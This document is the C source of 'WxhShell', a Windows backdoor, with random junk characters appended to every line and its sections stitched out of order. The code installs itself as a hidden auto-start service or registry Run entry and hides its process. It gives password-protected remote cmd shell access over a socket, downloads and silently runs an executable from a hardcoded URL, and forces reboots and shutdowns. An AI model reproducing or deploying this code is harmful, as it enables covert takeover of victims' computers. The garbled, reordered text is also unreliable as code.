  case 'd': { jhG6,;1zMI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GLY,<O>D5  
    if(Boot(SHUTDOWN)) Gyu =}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [HXd|,~_j-  
    else { El`G<esX  
    closesocket(wsh); S@\&^1;4Hv  
    ExitThread(0); un6W|{4]  
    } 4xx?x/q  
    break; 6wiuNGZb  
    } M9V,;*  
  // 获取shell 3rh t5n2-  
  case 's': { ,vi6<C\  
    CmdShell(wsh); (4l M3clF  
    closesocket(wsh); 9Lt3^MKa"  
    ExitThread(0); YbVZK4  
    break;  mznE Cy  
  } q+YK NXI  
  // 退出 <y-2ovw*  
  case 'x': { yj,+7[)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v]drDVJ   
    CloseIt(wsh); yaj1nq! *"  
    break; w2"]%WS%  
    } 7<Ut/1$MI  
  // 离开 |b Z 58{}  
  case 'q': { :)_P7k`>e/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ft2 ZZ<As  
    closesocket(wsh); yOjTiVQ9  
    WSACleanup(); .R+n}>+K  
    exit(1); USf;}F:-C  
    break; KG5B6Om5'  
        } ng2yZ @$  
  } 78z/D|{"  
  } D//Ts`}+n  
q[Y* .%~  
  // 提示信息 YWhS<}^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1p>&j%dk  
} b#e|#!Je  
  } @(st![i+  
Q!Dr3x  
  return; %gEfG#S  
} +DT)7 koA  
xI=[=;L  
// shell模块句柄 !]f:dWSLB  
int CmdShell(SOCKET sock) [aC2ktI  
{ h1_KZ[X  
STARTUPINFO si; jK=-L#hz  
ZeroMemory(&si,sizeof(si)); eR1]<Z$W\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =uR[Jewa  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a67NWH  
PROCESS_INFORMATION ProcessInfo; Xo4K!U>TzZ  
char cmdline[]="cmd"; fl9J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N'5!4JUI  
  return 0; %}~Ncn_r  
} 0Ioa;XgOn  
]\R%@FCYc  
// 自身启动模式 [k +fkr]  
int StartFromService(void) bDcWPwe  
{ :'dH)yO  
typedef struct W{'tS{  
{ ! +Hc(i  
  DWORD ExitStatus; !Ys.KDL  
  DWORD PebBaseAddress; 9%uJ:c?  
  DWORD AffinityMask; u-Ip*1/wp  
  DWORD BasePriority; Qgv-QcI{  
  ULONG UniqueProcessId; /Big^^u  
  ULONG InheritedFromUniqueProcessId; d 'wWj  
}   PROCESS_BASIC_INFORMATION; T xwZ3E  
s2+s1%^Ll  
PROCNTQSIP NtQueryInformationProcess; H"g p  
*C(XGX\?-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FU~:9EEx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0jwex  
i%_nH"h  
  HANDLE             hProcess;  Et0;1  
  PROCESS_BASIC_INFORMATION pbi;  #`2*V  
+l$BUX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;,]Wtmu)7  
  if(NULL == hInst ) return 0; 6cOm8#  
;i&'va$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Zz04Pz1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qjh @oWT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A[oxG;9xi  
0~XZ  
  if (!NtQueryInformationProcess) return 0; ZA4vQDW  
n.xW"omN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?g'? Ou  
  if(!hProcess) return 0; *e05{C:kS  
Go_~8w0<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )Wm:Ilq  
DbkKmv&  
  CloseHandle(hProcess); %,*{hhfu  
2V#(1Hc!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); . ),m7"u|  
if(hProcess==NULL) return 0; _gF )aE  
Dx27s  
HMODULE hMod; `=3:*.T*  
char procName[255]; 4jl-?  
unsigned long cbNeeded; Ik4U+'z6  
&<sDbN S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j!P]xl0vOZ  
H6XlSj  
  CloseHandle(hProcess); tcf>9YsOr  
t|aBe7t7  
if(strstr(procName,"services")) return 1; // 以服务启动 #4*~ 4/  
vN%SN>=L<  
  return 0; // 注册表启动 (-(sBQa+  
} Ol'Ct'_k,"  
r6`v-TY(/  
// 主模块 poYO  
int StartWxhshell(LPSTR lpCmdLine) C2</.jeLa  
{ Wf=D'6w  
  SOCKET wsl; .qCD(XZ+  
BOOL val=TRUE; Ytnk^/Z1L  
  int port=0; 1yN/+Rq  
  struct sockaddr_in door; hIPU%  
.5zqpm  
  if(wscfg.ws_autoins) Install(); (TV ye4Z  
,$96bF "#  
port=atoi(lpCmdLine); Q=%1@ ,x"  
N?h=Zl|  
if(port<=0) port=wscfg.ws_port; 1^zpO~@ S  
\]W*0t>s  
  WSADATA data; C<\|4ERp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G_~w0r#  
d-=/@N!4e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x%JtI'sg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T0ebW w  
  door.sin_family = AF_INET; (P[:g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h+! Ld^'c  
  door.sin_port = htons(port); : YU_ \EV  
Xj&fWu A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [s4lSGh  
closesocket(wsl); w"O^CR)  
return 1; V\"x#uB  
} K -!YD}OF  
pN"d~Z8  
  if(listen(wsl,2) == INVALID_SOCKET) { DUxj^,mf,  
closesocket(wsl); ]N^a/&} *  
return 1; G:QaWqUb  
} gD0 FRKn  
  Wxhshell(wsl); | *Dklo9{  
  WSACleanup(); ! 3O#'CV  
V&E)4KBOs  
return 0; EC2KK)=n}  
AAE8j.  
} Tt.wY=,K  
?A /+DRQ(  
// 以NT服务方式启动 vl<W`)'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i*'6"  
{ V_?5cwZ  
DWORD   status = 0; :;S]jNy}j)  
  DWORD   specificError = 0xfffffff;  pojQ/  
e`fN+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LoQm&3/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y=l91dxGI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0Kxc$c  
  serviceStatus.dwWin32ExitCode     = 0; +^ n\?!  
  serviceStatus.dwServiceSpecificExitCode = 0; j^}p'w Tu{  
  serviceStatus.dwCheckPoint       = 0; pDO&I]S`q0  
  serviceStatus.dwWaitHint       = 0; (5] |Kcp|  
jemg#GB8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e.%` tK3J  
  if (hServiceStatusHandle==0) return; K%ltB&  
`w1|(Sk$h  
status = GetLastError(); '-tiH  
  if (status!=NO_ERROR) ]?p&sI4  
{ G%w hOIFRq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pt&(c[  
    serviceStatus.dwCheckPoint       = 0; sXdNlR&  
    serviceStatus.dwWaitHint       = 0; A>8uLO G}  
    serviceStatus.dwWin32ExitCode     = status; ~{hcJ:bI  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4hep1Kz%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E`3yf9"  
    return; <o8j+G)K#  
  } ^b=9{.5  
^~k2(DLk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @bQf =N+  
  serviceStatus.dwCheckPoint       = 0; /(Se:jH$>  
  serviceStatus.dwWaitHint       = 0; %]Gm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7RQ.oee  
} `VT[YhO#}  
e$M \HPc  
// 处理NT服务事件,比如:启动、停止 K r9 P#Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^fT|Wm<  
{ Ai&-W  
switch(fdwControl) *Y'@|xf*  
{ JyY-@GF  
case SERVICE_CONTROL_STOP: Mvq5s+.  
  serviceStatus.dwWin32ExitCode = 0; y#Je%tAe 2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h0ufl.N_%  
  serviceStatus.dwCheckPoint   = 0; *6 oQW  
  serviceStatus.dwWaitHint     = 0; 5T)qn`%  
  { y -j3d)T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O)78 iEXi|  
  } X(nbfh?n  
  return; I;]Q}SUsm  
case SERVICE_CONTROL_PAUSE: j_\nsM7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qi7(RL_N  
  break; rnvKfTpZDU  
case SERVICE_CONTROL_CONTINUE: &L[7jA'[J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?YzOA${  
  break; rcUXYJCh-  
case SERVICE_CONTROL_INTERROGATE: 5(0f"zY  
  break; (he cvJ  
}; z yyt`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Cw> z^}u  
} !e?g"5r{Bv  
t{n|!T&  
// 标准应用程序主函数 D7.|UG?G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6KuB<od  
{ 4<b=;8  
SXfuPM  
// 获取操作系统版本 Te=[tx~x  
OsIsNt=GetOsVer(); e|)6zh<O:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >CtT_yhx  
:=qblc  
  // 从命令行安装 R#OVJ(#  
  if(strpbrk(lpCmdLine,"iI")) Install(); :r%H sur(  
<smi<syx  
  // 下载执行文件 41f4zisZ  
if(wscfg.ws_downexe) { `NqX{26GV+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dHp(U :)  
  WinExec(wscfg.ws_filenam,SW_HIDE); a g Za+a  
} xxWrSl`fB  
/XtpGk_1)  
if(!OsIsNt) { %a- *Ku  
// 如果时win9x,隐藏进程并且设置为注册表启动 n#,<-Rb-  
HideProc(); =SJwCT0;  
StartWxhshell(lpCmdLine); QJ2V&t"3  
} j{00iA}  
else !;'#f xW[  
  if(StartFromService()) @Sb 86Ee  
  // 以服务方式启动 *k)v#;B  
  StartServiceCtrlDispatcher(DispatchTable); i7g+8 zd8d  
else %Q9 iR5?  
  // 普通方式启动 oxkA+}^j8M  
  StartWxhshell(lpCmdLine); EugQr<sM#  
X=O}k&  
return 0; 6%  +s`  
} `NIc*B4q.  
gd~# uR\  
o4I&?d7;"  
|DAe2RK  
=========================================== > <cK  
1<Fh aK  
hs'J'~a  
 wfr+-  
NHKIZx8sR  
kkfwICBI  
" Q2[@yRY/z  
"Uy==~  
#include <stdio.h> )aY^k|I  
#include <string.h> n{oRmw-  
#include <windows.h> LwDm(gG  
#include <winsock2.h> &w@~@]  
#include <winsvc.h> fAMJFHW  
#include <urlmon.h> d5?"GFy  
C1 qyjlR  
#pragma comment (lib, "Ws2_32.lib") @@$%+XNY  
#pragma comment (lib, "urlmon.lib") |~Q`D dkX  
# 3{g6[Y  
#define MAX_USER   100 // 最大客户端连接数 n^O Wz4  
#define BUF_SOCK   200 // sock buffer DoV<p?U  
#define KEY_BUFF   255 // 输入 buffer HD"Pz}k4  
mQ#E{{:H+  
#define REBOOT     0   // 重启 >y<yFO{  
#define SHUTDOWN   1   // 关机 K}^Jf ;  
vwZd@%BO  
#define DEF_PORT   5000 // 监听端口 S,&tKDJn  
GtZkzVqLd  
#define REG_LEN     16   // 注册表键长度 =*f>vrme  
#define SVC_LEN     80   // NT服务名长度 &%YFO'>>}  
@bu5{b+8  
// 从dll定义API yxfV|ox  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /0|niiI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E8]PV,#xY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2q2;Uo`"S.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x!rHkuH~  
s^nPSY!  
// wxhshell配置信息 ni @Mqb  
struct WSCFG { CV <@Rgoa  
  int ws_port;         // 监听端口 6*@\Qsp615  
  char ws_passstr[REG_LEN]; // 口令 "52nT  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZSL:q%:.  
  char ws_regname[REG_LEN]; // 注册表键名 oS'M  
  char ws_svcname[REG_LEN]; // 服务名 bJ8~/d]+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DwTqj=l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @D.]PZf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lNV%R(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MZ_+doN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j!c[$;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {4\hxyw  
Z  Mp  
}; r Ntc{{3_  
{bF95Hs-  
// default Wxhshell configuration .;gK*`G2W)  
struct WSCFG wscfg={DEF_PORT, ;1Kxqp z_i  
    "xuhuanlingzhe", IT \Pj_  
    1, oYWcX9R  
    "Wxhshell", $#V ^CmW.  
    "Wxhshell", k^A Y g!~  
            "WxhShell Service", W!a~ #R/r-  
    "Wrsky Windows CmdShell Service", i?^C c\gH  
    "Please Input Your Password: ", |.D_[QI  
  1, g=?KpI-pn0  
  "http://www.wrsky.com/wxhshell.exe", USVM' ~p I  
  "Wxhshell.exe" :P$I;YY=A  
    }; 5H_%inWM  
'TPRGX~&  
// 消息定义模块 ,6[}qw) *  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ck,.4@\tK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kqYvd]ss  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,WF)GS|7V  
char *msg_ws_ext="\n\rExit."; _#c^z;!  
char *msg_ws_end="\n\rQuit."; 4uip!@$K  
char *msg_ws_boot="\n\rReboot..."; 5- Q`v/w;  
char *msg_ws_poff="\n\rShutdown..."; H!dUQ  
char *msg_ws_down="\n\rSave to "; MxiU-  
A@/DGrZX  
char *msg_ws_err="\n\rErr!"; G@Dw  
char *msg_ws_ok="\n\rOK!"; 0 `X%&  
1\d$2N"  
char ExeFile[MAX_PATH]; Yuy7TeJRx  
int nUser = 0; [0GM!3YJ7  
HANDLE handles[MAX_USER]; l'~]8Wo1  
int OsIsNt; |=.z0{A7H  
<DS+"#  
SERVICE_STATUS       serviceStatus; ^iJMUV|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qlUYu"`i  
7pNTCZY|  
// 函数声明 ?i4}[q  
int Install(void); 06bl$%  
int Uninstall(void); "A jtNL5  
int DownloadFile(char *sURL, SOCKET wsh); ;S+c<MSl  
int Boot(int flag); \~xOdqF/  
void HideProc(void); {aq\sf;i{  
int GetOsVer(void); 4%WV)lt  
int Wxhshell(SOCKET wsl); G+ =6]0HT  
void TalkWithClient(void *cs); ]rM{\En  
int CmdShell(SOCKET sock); nLq7J:  
int StartFromService(void); .rj FhSr$  
int StartWxhshell(LPSTR lpCmdLine); :)nn/[>fC  
zO>N3pMv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uh`@qmu)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t#|E.G:=  
G)l[\6Dn  
// 数据结构和表定义 #)%N+Odnr  
SERVICE_TABLE_ENTRY DispatchTable[] = N}\Da: _  
{ |dNtM^  
{wscfg.ws_svcname, NTServiceMain}, ZNPzQ:I@  
{NULL, NULL} x_Ki5~w5  
}; vCwDE~  
?,r bD 1  
// 自我安装 "fLGXbNQ  
int Install(void) [d!C6FT  
{ /qF7^9LtaY  
  char svExeFile[MAX_PATH]; O?@1</r^  
  HKEY key; {xt<`_R  
  strcpy(svExeFile,ExeFile); yy?|q0  
G?QFF6)}!  
// 如果是win9x系统,修改注册表设为自启动 ~c!zTe  
if(!OsIsNt) { EU,4qO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6<H[1PI`,G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  $J mL)r  
  RegCloseKey(key); 8QYG"CA6/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sTqy-^e7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +7<{yP6wU  
  RegCloseKey(key); _u}v(!PI  
  return 0; (7 Mn%Jp  
    } t Zj6=#  
  } #ITx[X89|  
} tBG :ECUL  
else { R_*b<~[/  
xy$FS0u  
// 如果是NT以上系统,安装为系统服务  Xvs{2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5fb,-`m.  
if (schSCManager!=0) ]^gD@].  
{ &RXd1>|c2  
  SC_HANDLE schService = CreateService y{ 90A  
  ( o<-%)#e  
  schSCManager, 'xb|5_D  
  wscfg.ws_svcname, VO(Ck\i}  
  wscfg.ws_svcdisp, ?w# >Cs(  
  SERVICE_ALL_ACCESS, I(Nsm3L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lGPC)Hu{`  
  SERVICE_AUTO_START, {R8Q`2R  
  SERVICE_ERROR_NORMAL, Wnl8XHPn  
  svExeFile, !5`}s9hsF_  
  NULL, Hi|2z5=V  
  NULL, <Xy8}Z`s  
  NULL, oAWk<B(@  
  NULL, QAi(uL5   
  NULL Yx&cnDx  
  ); |f8by\Q86=  
  if (schService!=0) |]A{8BBC  
  { ao{>.b  
  CloseServiceHandle(schService); P; }Z 3!  
  CloseServiceHandle(schSCManager); RYE::[O7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $},:z]%D  
  strcat(svExeFile,wscfg.ws_svcname); TFxb\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EhB9M!Y`@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QY+#Vp<`  
  RegCloseKey(key); #2ZXYH}  
  return 0; 0&/1{Dk*n  
    } B<1*p,z  
  } `1EBnL_1  
  CloseServiceHandle(schSCManager); 1`O`!plD+  
} 46_<v=YSJ  
} c7s4 g-  
LEhku4U.  
return 1; N/{A ' Wd  
} yN3Tk}{V  
lha )'   
// 自我卸载  8k J k5  
int Uninstall(void) '0 ( Bb  
{ _$ixE~w-!  
  HKEY key; *, *"G?  
FZ=6x}QZ  
if(!OsIsNt) { cYR6+PKua  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `8FC&%X_  
  RegDeleteValue(key,wscfg.ws_regname); ]Jnf. 3  
  RegCloseKey(key); YGWb!|Z$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +1d\ZZA|6&  
  RegDeleteValue(key,wscfg.ws_regname); #-'}r}1ZT  
  RegCloseKey(key); |B`-chK  
  return 0; C2<y(GU[Bh  
  } NYP3uGH]  
} .yTk/x ?  
} sF+0v p  
else { Nr`nL_DQ  
%- A8`lf<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2)j\Lg_M  
if (schSCManager!=0) 1.,mNY^UN  
{ t C6c4j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FG#j0#|*  
  if (schService!=0) c+a f=ac  
  { G)# ,39P  
  if(DeleteService(schService)!=0) { @O45s\4-*  
  CloseServiceHandle(schService); \=N tbBL$[  
  CloseServiceHandle(schSCManager); C9=f=sGL  
  return 0; J$e.$ah;  
  } K,IOD t  
  CloseServiceHandle(schService); N7oMtlvL[w  
  } J~_p2TZJ\3  
  CloseServiceHandle(schSCManager); G4x.''r&Sl  
} Z;>~<#!4  
} J`RNik*>  
IN%>46e`  
return 1; }2NH>qvY  
} t*qA.xc6  
vhL&az  
// 从指定url下载文件 ^F"*;8$  
int DownloadFile(char *sURL, SOCKET wsh) G0Wd"AV+  
{ zl: u@!'  
  HRESULT hr; \B}W(^\wg;  
char seps[]= "/"; c<D Yk f  
char *token; Ra{B8)Q  
char *file; 8fe"#^"sR  
char myURL[MAX_PATH]; chd${ j  
char myFILE[MAX_PATH]; "^XN"SUw  
Q}=RG//0*  
strcpy(myURL,sURL); 3Aj_,&X.@(  
  token=strtok(myURL,seps); c%Gz{':+  
  while(token!=NULL) zr[~wM  
  { 19N:9;Ixz  
    file=token; g rfF\_[:  
  token=strtok(NULL,seps); 1)YFEU&]  
  } J:(Shd'4D  
8^R>y  
GetCurrentDirectory(MAX_PATH,myFILE); lwY{rWo  
strcat(myFILE, "\\"); > T-O3/KN  
strcat(myFILE, file); ,B#Y9[R  
  send(wsh,myFILE,strlen(myFILE),0); <khx%<)P  
send(wsh,"...",3,0); vlPE8U=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J,D{dYLDD  
  if(hr==S_OK) :jUuw:\  
return 0; YAPD7hA  
else /GXO2zO  
return 1; 0l:5hD,)F  
eXOFAd]>u  
} X~DXx/9  
(D l"s`UH~  
// 系统电源模块 bv+e'$U3  
int Boot(int flag) * QR7t:([  
{ UpIf t=@P  
  HANDLE hToken; u}:O[DG  
  TOKEN_PRIVILEGES tkp; XBY"7}  
h7y*2:l6  
  if(OsIsNt) { YSwD#jO0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c|.:J]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PaDT)RrEM  
    tkp.PrivilegeCount = 1; 0iL8i#y*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FRg6-G/S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )F$Stg3e  
if(flag==REBOOT) { > Qtyw.n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .lFSFJ??  
  return 0; IRU2/Ycg  
} gU~)(|Nu.  
else { up1aFzY|6x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !<LS4s;  
  return 0; <=-\so(  
} z<fEJN  
  } 62 _$O"  
  else { i4pJIb  
if(flag==REBOOT) { 0K2[E^.WN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :RQ[(zD]  
  return 0; MMAC,4  
} t<k8.9 M$  
else { |{ [i M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ck:J  
  return 0; FO5SXwx  
} 5`uS<[vA  
} i3"sAr P"|  
"_K 6=  
return 1; C49 G&  
} sXa8(xc  
64vSJx>u  
// win9x进程隐藏模块 [>:gwl _\  
void HideProc(void) 8$vH&Hd I  
{ C5M-MZaS  
e||_j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %OtW\T=u  
  if ( hKernel != NULL ) =z/F=1^<  
  { D1n2Z :9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2|=_kN8;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kwL) &@  
    FreeLibrary(hKernel); GVM#Xl}w9  
  } 2o$8CR;  
(lnQ!4LK  
return; UBVb#FNF  
} kYs|")isj  
x-pMT3m\D#  
// 获取操作系统版本 |gVO Iq  
int GetOsVer(void) ^%d{i'9?  
{ K7.<,E"M.  
  OSVERSIONINFO winfo; 3DHm9n+/:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xAjQW=  
  GetVersionEx(&winfo); gAj)3T@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wuk7mIJ  
  return 1; 9CNHjs+-}s  
  else K_5&_P1  
  return 0; IebS~N E  
} 5);#\&B  
8joQPHkI\  
// 客户端句柄模块 )ziQ=k6d6  
int Wxhshell(SOCKET wsl) nB5[]x'  
{ *lK4yI*%o  
  SOCKET wsh; 4BT`|(7  
  struct sockaddr_in client; F^YIZ,=p!  
  DWORD myID; %5G BMMn  
C6VoOT )\  
  while(nUser<MAX_USER) *r`Yz}  
{ 9^='&U9sr  
  int nSize=sizeof(client); MuobMD}jqe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'oz = {;  
  if(wsh==INVALID_SOCKET) return 1; YfPo"uxx  
 IR LPUP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E(tBN]W.  
if(handles[nUser]==0) NXBOo  
  closesocket(wsh); 0 MIMs#  
else gDub+^ye>/  
  nUser++; -W_s]oBg  
  } .Y|\7%(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Oez}C,0  
.m?~TOR  
  return 0; .( h$@|Y  
} #Qr4Ke$g[l  
JP4Moq~r   
// 关闭 socket XijLS7Aw|  
void CloseIt(SOCKET wsh) V]]qu:Mh8  
{ U!/nD~A  
closesocket(wsh); b8.%?_?  
nUser--; YfwJBz D  
ExitThread(0); 0s|LK  
} Qs9U&*L  
rk/ c  
// 客户端请求句柄 X u):.0I  
void TalkWithClient(void *cs) dz|*n'd  
{ pq3  A%|  
i)L:VkN  
  SOCKET wsh=(SOCKET)cs; pRvs;klf  
  char pwd[SVC_LEN]; ;8i L,^.A  
  char cmd[KEY_BUFF]; ~ n^G<iXLp  
char chr[1]; 0f%:OU5Y  
int i,j; ;_/q>DR>,3  
Sx)Il~ x  
  while (nUser < MAX_USER) { @$P!#z  
$Je"z]cy-  
if(wscfg.ws_passstr) { 6I.mc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n[Iu!v\/*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3Jm'q,TC  
  //ZeroMemory(pwd,KEY_BUFF); \( <{)GpBi  
      i=0; WcwW@cY7\  
  while(i<SVC_LEN) { y8vH?^:%<  
P\4tK<P|  
  // 设置超时 hIQ[:f  
  fd_set FdRead; n u8j_grW  
  struct timeval TimeOut; q#&#*6 )B  
  FD_ZERO(&FdRead); }t2pIkF;  
  FD_SET(wsh,&FdRead); b8Rh|"J)d  
  TimeOut.tv_sec=8; : W^\ mH  
  TimeOut.tv_usec=0; J7ekIQgR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SMO%sZ]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wDSUMB<?  
m"( d%N7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {[5L96RH%  
  pwd=chr[0]; SP*JleQN  
  if(chr[0]==0xd || chr[0]==0xa) { 'ZH<g8:=@  
  pwd=0; iM|"H..  
  break; (+LR u1z  
  } qH Ga  
  i++; ^:!(jiH  
    } @xm~T|[7  
; eF4J  
  // 如果是非法用户,关闭 socket n [Xzo}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e( o/we{  
} R96o8#7Uv  
IR dz(~CP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z8(R.TB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y)/$ge _U  
};m7FO  
while(1) { !""!sFx)R  
Z ;y}gv/ {  
  ZeroMemory(cmd,KEY_BUFF); As'M3 9*V  
^T&u!{82j  
      // 自动支持客户端 telnet标准   Z!-<rajl  
  j=0; gZ"{{#:}  
  while(j<KEY_BUFF) { >3`ctbe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r\n h.}s  
  cmd[j]=chr[0]; VuMDV6^Z  
  if(chr[0]==0xa || chr[0]==0xd) { sRyw\v-=P  
  cmd[j]=0; sIRrEea  
  break; K%c ATA3  
  } U=i8>6V  
  j++; R;E"Qdt  
    } g<iwxF  
R_Gq8t$  
  // 下载文件 !+A"Lej  
  if(strstr(cmd,"http://")) { ^?X ^+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j t`p<gI  
